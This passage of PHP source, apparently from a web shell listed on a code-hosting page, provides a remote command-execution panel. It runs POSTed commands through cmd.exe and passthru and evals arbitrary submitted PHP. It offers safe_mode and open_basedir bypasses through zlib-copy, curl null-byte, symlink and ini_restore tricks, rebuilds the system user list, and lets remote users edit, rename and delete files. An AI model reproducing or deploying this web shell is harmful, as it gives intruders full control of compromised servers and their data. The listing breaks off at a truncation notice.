  881.             $exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['bycw']."");

    882. 

  882.             $stdout = $exec->StdOut();

    883. 

  883.             $stcom = $stdout->ReadAll();}

    884. 

  884. 			

    885. 

  885. echo $head.'<p align="center"><textarea rows="13" name="showbsd" cols="77">';if($_POST['byws']){passthru("\\".$_POST['byws']);} echo $stcom.'</textarea><hr><center>Bypass Safe_Mode And Disable_Functions In Windows Server<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'<input type=hidden value="bypasscmd" name=do>Command </font></td><td width="750"><input name=bycw size=50><input type=submit value ="eXecute"></form></td></tr></table>Bypass Safe_Mode Windows Server<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Command </font></td><td width="750"><input name=byws size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypasscmd"></form></td></tr></table>'.$end;exit;;

    886. 

  886. }

    887. 

  887. if($_REQUEST['do']=="bypassdir"){

    888. 

  888. if($_POST['byoc']){

    889. 

  889. if(copy("compress.zlib://".$_POST['byoc'], getcwd()."/"."peji.txt")){

    890. 

  890. $bopens="Bypass Succesfull Plz Read File Peji.txt In This Folder";

    891. 

  891. }else{$bopens="Can Not Bypass This";}

    892. 

  892. }

    893. 

  893. if($_POST['byfc']){

    894. 

  894. curl_init("file:///".$_POST['byfc']."\x00/../../../../../../../../../../../../".__FILE__);

    895. 

  895. $debfc=curl_exec($ch);

    896. 

  896. }

    897. 

  897. if($_POST['byetc']){

    898. 

  898. for($bye=0;$bye<40000;$bye++){

    899. 

  899. $sbep =$sbep. posix_getpwuid($bye);

    900. 

  900. }}

    901. 

  901. if($_POST['byfc9']){

    902. 

  902. echo "not sucsfull";

    903. 

  903. }

    904. 

  904. if($_REQUEST['bysyml']){

    905. 

  905. $file=$_REQUEST['bysyml'];

    906. 

  906. bywsym($file);

    907. 

  907. }

    908. 

  908. echo $head.'<p align="center"><textarea rows="13" name="showbsd" cols="77">';if($_POST['byws']){passthru("\\".$_POST['byws']);}if(isset($sbep)){for($fbe=0;$fbe<count($sbep);$fbe++){echo $sbep[$fbe];}} if(isset($debfc)){} echo $bopens.'</textarea><hr><center>Bypass Safe_Mode And Open_basedir With Bug Copy(Zlib) Worked In 4.4.2 .. 5.1.2<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right">'.$formp.'<input type=hidden value="bypassdir" name=do><font face="Tahoma" style="font-size: 10pt; font-weight:700">Address File </font></td><td width="750"><input name=byoc size=50 ><input type=submit value ="read"></form></td></tr></table><hr>Bypass Open_basedir And Read File With Bug Curl Worked In PHP 4.4.2 and 5.1.4<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Address File </font></td><td width="750"><input name=byfc size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypassdir"></form></td></tr></table><hr>Bypass Open_basedir And Read File With Bug Curl Worked In PHP 4.X ... 5.2.9<br><table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'Address File </font></td><td width="750"><input name=byfc9 size=50><input type=submit value ="eXecute"><input type=hidden name=do value="bypassdir"></form></td></tr></table><hr>Bypass /Etc/Passwd<br>'.$formp.'<input type=submit value ="Read Passwd"><input type=hidden name=byetc value="lol"><input type=hidden name=do value="bypassdir"></form><hr>Bypass With ini_restore'.$formp.'<input type=submit value ="Read File"><input name=rfili value="Pejijon" type=hidden><input type=hidden name=do value="bypassdir"></form><hr>Bypass With Symlink Worked In 5.x.x 5.2.11 With Bug Symlink<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'</font></td><td width="750"><input name=bysyml size=50><input type=submit value ="Read File"><input type=hidden name=do value="bypassdir"><input name=rfili value="Pejijon" type=hidden></form></td></tr></table><hr>'.$formp.'Bypass Safe And Open_basedir With Bug Curl Worked In 4.x.x ... 5.2.9<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr><td width="200" align="right" valign="top"><font face="Tahoma" style="font-size: 10pt; font-weight:700">'.$formp.'</font></td><td width="750"><input name=bypcu size=50><input type=submit value ="Read File"><input type=hidden name=do value="bypassdir"></form></td></tr></table>'.$end;exit;;

    909. 

  909. 

    910. 

  910. 

    911. 

  911. 

    912. 

  912. 

    913. 

  913. }

    914. 

  914. function printdrive(){

    915. 

  915. global $slash;

    916. 

  916. foreach (range("A","Z") as $tempdrive) {

    917. 

  917. if (is_dir($tempdrive.":".$slash)){

    918. 

  918. $adri=$tempdrive.":".$slash;

    919. 

  919. $drivea=$drivea.'<a href="?address='.$adri.'"><font size=1>'.$tempdrive.':'.$slash.' </a></font>';

    920. 

  920. }

    921. 

  921. }

    922. 

  922. return $drivea;

    923. 

  923. }

    924. 

  924. if($_POST['nameren'] && $_POST['addressren']){

    925. 

  925. if(is_writable($_REQUEST['addressren'])){

    926. 

  926. 

    927. 

  927. rename($_POST['addressren'],$_POST['nameren']);alert("Rename Successful !");

    928. 

  928. }else{alert("Permission Denied !");}

    929. 

  929. }

    930. 

  930. if($_GET['do']=="delete"){

    931. 

  931. 

    932. 

  932. if ($_GET['type']=="dir"){

    933. 

  933. if(is_writable($_REQUEST['address'])){

    934. 

  934. $dir=$_GET['address'].$_GET['filename'];

    935. 

  935. deleteDirectory($dir);

    936. 

  936. alert("Deleted Successful !");

    937. 

  937. }else{alert("Permission Denied !");}

    938. 

  938. }elseif($_GET['type']=="file"){

    939. 

  939. if(is_writable($_GET['address'].$_GET['filename'])){

    940. 

  940. unlink($_GET['address'].$_GET['filename']);alert("Deleted Successful !");

    941. 

  941. }else{alert("Permission Denied !");}

    942. 

  942. }

    943. 

  943. }

    944. 

  944. if($_POST['fedit'] && $_POST['namefe']){

    945. 

  945. if(is_writable($_REQUEST['address'])){

    946. 

  946. 

    947. 

  947. 

    948. 

  948. $opensave=fopen($_POST['address'].$slash.$_POST['namefe'],"w");

    949. 

  949. fwrite($opensave,html_entity_decode($_POST['fedit']));

    950. 

  950. fclose($opensave);alert("File Saved Successful !");

    951. 

  951. }else{alert("Permission Denied !");}

    952. 

  952. }

    953. 

  953. if ($_POST['evalsource']){

    954. 

  954. 

    955. 

  955. eval($_POST['evalsource']);

    956. 

  956. }

    957. 

  957. if($_GET['do']=="eval"){

    958. 

  958. echo $head.$formp.$nowaddress.'<p align="center"><textarea rows="19" name="evalsource" cols="87"></textarea><br><input type=submit value="  eXecute  "></form></p>'.$end;exit;

    959. 

  959. }

    960. 

  960. if($_GET['do']=="info"){

    961. 

  961. 

    962. 

  962. if(ini_get('register_globals')){

    963. 

  963. $registerg="Enable";

    964. 

  964. }else{

    965. 

  965. $registerg="disable";

    966. 

  966. }

    967. 

  967. if(extension_loaded('curl')){

    968. 

  968. $curls="Enable";

    969. 

  969. }else{

    970. 

  970. $curls="disable";

    971. 

  971. }

    972. 

  972. if(@function_exists('mysql_connect')){

    973. 

  973. $db_on = "Mysql : On";

    974. 

  974. };

    975. 

  975. if(@function_exists('mssql_connect')){

    976. 

  976. $db_on = "Mssql : On";

    977. 

  977. };

    978. 

  978. if(@function_exists('pg_connect')){

    979. 

  979. $db_on = "PostgreSQL : On";

    980. 

  980. };if(@function_exists('ocilogon')){

    981. 

  981. $db_on = "Oracle : On";

    982. 

  982. };

    983. 

  983. 

    984. 

  984. echo $head."<font face='Tahoma' size='2'>Operating System : ".php_uname()."<br>Server Name : ".$_SERVER['HTTP_HOST']."<br>Disable_Functions : ".$disablef."<br>Safe_Mode : ".$safe_modes."<br>Openbase_dir : ".ini_get('openbase_dir')."<br>Php Version : ".phpversion()."<br>Free Space : ".sizee(disk_free_space("/"))."<br>Total Space : ".sizee(disk_total_space("/"))."<br>Register_Globals : ".$registerg."<br>Curl : ".$curls."<br>Database ".$db_on."<br>Server Name : ".$_SERVER['HTTP_HOST']."<br>Admin Server : ".$_SERVER['SERVER_ADMIN'].$end;

    985. 

  985. exit;

    986. 

  986. }

    987. 

  987. if ($_GET['do']=="cmd"){

    988. 

  988. echo $head.'

    989. 

  989. <form method=get action="'.$me.'">

    990. 

  990. <p align="center">

    991. 

  991. <textarea rows="19" name="S1" cols="87">';

    992. 

  992. if (strlen($_GET['command'])>1 && $_GET['execmethod']!="popen"){

    993. 

  993. echo $_GET['execmethod']($_GET['command']);}

    994. 

  994. if (strlen($_POST['command'])>1 && $_POST['execmethod']!="popen"){

    995. 

  995. echo $_POST['execmethod']($_POST['command']);}

    996. 

  996. 

    997. 

  997. if (strlen($_GET['command'])>1 && $_GET['execmethod']=="popen"){

    998. 

  998. popen($…
    999.

Large files files are truncated, but you can click here to view the full file